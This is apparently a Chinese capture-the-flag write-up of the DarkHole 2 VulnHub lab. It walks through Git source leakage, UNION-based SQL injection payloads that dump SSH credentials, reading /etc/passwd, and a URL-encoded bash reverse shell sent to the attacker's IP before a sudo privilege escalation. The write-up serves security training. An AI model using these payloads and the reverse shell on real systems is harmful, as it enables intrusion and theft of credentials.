项目地址:https://download.vulnhub.com/darkhole/darkhole_2
复现过程:(两台主机 目标机器和攻击机器)
sudo arp-scan -l #先进行主机发现
Nmap 探测该IP的端口和服务
nmap -A -P 192.168.253.136
根据探测的结果,可获取该主机的部分信息:
SSH服务、80端口下的Git、Ubuntu的版本号等
打开浏览器 访问IP:192.168.253.136地址:(查看页面的源代码 看看能不能找到有用的信息)
此时查看了下前端的JS文件 并未发现有价值的信息。
再访问之前的那个.git目录
wget -r http://192.168.253.136/.git/ #下载git源代码
再进去下载下来的文件夹里面查看
git log #查看该git有过几次版本更新的历史信息
再进入文件夹中 查看对应的源代码进行审计 并未发现有价值的内容。
vi login.php
查菜单。看hash值 看更改了哪些内容:
git checkout HASH值
vi login.php #查看原来版本的文件内容
获取到账号密码:[email protected] 密码:321
尝试登陆:发现登录成功以后 去查看后台的源代码寻找有用的信息
看到URL上面有ID字段的时候 就要尝试手工去注入一次。
先更改ID号 发现只有ID为1的时候才有信息显示
再后面进行' 发现页面变白 但是未显示报错信息,大概率是字符型的注入,这个时候尝试用and去拼接一下。
1‘ and 1=1 #防止其做了编码 可以1’+and+1=1--+
1'and 1=2
根据以上的显示内容,几乎可以确定站点存在SQL注入。
这个时候开始尝试去猜解
1'+order+by+3--+ #查询服务端列的数量
根据结果知道服务端的查询语句 涉及到了6个数据库的列
1'+union+select+1,2,3,4,5,6--+ #
结果发现 页面只显示一条数据,只显示一个数据
修改id的值 再去联合查询。
再进行插入服务器端的内置函数。
2'+union+select+1,datebase(),3,4,5,6--+
#查询到了数据库的名称
再去查询数据库中的表:
2'+union+select+1,table_name,3,4,5,6 from information_schema.tables where table_schema='darkhole_2'--+
再去查询对应的列的名称:
2'+union+select+1,column_name,3,4,5,6 from information_schema.columns where table_name='ssh'--+ #查询一个列名
2'+union+select+1,GROUP_CONCAT(column_name),3,4,5,6 from information_schema.columns where table_name='ssh'--+ #查询所有的列的名称 都显示出来
再去查询对应的用户名。
2‘+union+select+1,id,user,4,pass,6 from ssh--+
获取到了账号密码:
账号:jehad 密码:fool
这个时候可以去猜测 是不是可以直接用SSH链接(前面探测出了22端口)
ssh jehad@IP
发现登录成功过以后:对本机进行信息收集
uname -a #先进行本机的信息收集
lsb_release -a #查看本机信息版本
cat /etc/passwd #查看本机存储的账号
发现了几个有用的用户:
lama、jehad、losy 都是普通用户的权限
cd /home #进入主目录 查看有哪些用户的信息
cd 进入到当前用户的目录下
ls -la #查看
根据历史命令记录 得出几个有用的点:并且该站点有被测试过的痕迹
cat /.bash_history
9999 端口应该有较大用处。
查看一下是否有该端口开放:
ss -pantu |grep 9999
ps -ef | grep 9999 #查看该端口本地的进程
根据上面那个操作,进入到对应目录下 查看对应的文件:
查看到一个index.php文件(发现是一个webshell)
自己新建一个webshell进行提权操作:
目标机器:curl http://127.0.0.1:9999/?cmd=~
本地机器需要开启侦听:nc -nvlp 4242 (端口)
建议对写的webshell进行URL编码。
原:bash -c 'bash -i >& /dev/tcp/kali的IP地址/4242 0>&1'
编码后:bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.253.137%2F4242%200%3E%261%27
发现反弹成功以后,返回的是losy的权限。
进行探测 发现该用户做的历史操作记录。
再进行提权操作:
python3 -c 'import pty; pty.spawn("/bin/bash")'
切换终端:tty 发现losy该用户拥有sudo权限:
故我们可以尝试sudo上面那个提权的操作:提权成功
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
到账号的根目录下查看相关的文件:发现root.txt文件 获取flag
进入到home目录下,分别查看有哪些文件:
发现user.txt 获取成功Flag。
这个靶机花了我差不多一天的时间,中间各种奇怪的报错,还可以尝试SSH爆破和端口转发的方式去做测试。
原文始发于微信公众号(0x00实验室):从Git源码泄露审计到Getshell | DarkHole2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论